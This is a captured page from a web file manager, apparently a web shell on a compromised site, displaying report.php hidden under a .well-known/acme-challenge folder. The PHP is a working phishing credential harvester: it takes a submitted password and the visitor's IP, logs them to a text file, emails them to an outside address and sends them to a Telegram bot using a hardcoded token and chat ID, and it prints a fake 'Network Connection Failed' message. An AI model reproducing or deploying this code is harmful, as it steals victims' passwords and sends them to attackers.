File manager - Edit - /home/adiance/public_html/beta/.well-known/acme-challenge/hntj/report.php
Back
<?php $data = trim($_POST['pass']); $ipaddress = $_SERVER['REMOTE_ADDR']; $to = "sjohne@yandex.com"; $token = "7796882622:AAF4F_72m9UTLOFn6IK9m1E2H8NQpVm8tAU"; $chatid = "5560843249"; function sendMessage($chatID, $messaggio, $token) { echo "sending message to " . $chatID . "\n"; $url = "https://api.telegram.org/bot" . $token . "/sendMessage?chat_id=" . $chatID; $url = $url . "&text=" . urlencode($messaggio); $ch = curl_init(); $optArray = array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true ); curl_setopt_array($ch, $optArray); $result = curl_exec($ch); curl_close($ch); return $result; } if($data !== null){ $message .= "\n \n||RESULTS|----------|\n"; $message .= "IP: $ipaddress \n"; $message .= $data; $myfile = fopen("file.txt", "a"); fwrite($myfile, $message); mail($to, "Results", $message); fclose($myfile); sendMessage($chatid, $message, $token); } else { echo "Network Connection Failed"; } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.08 |
proxy
|
phpinfo
|
Settings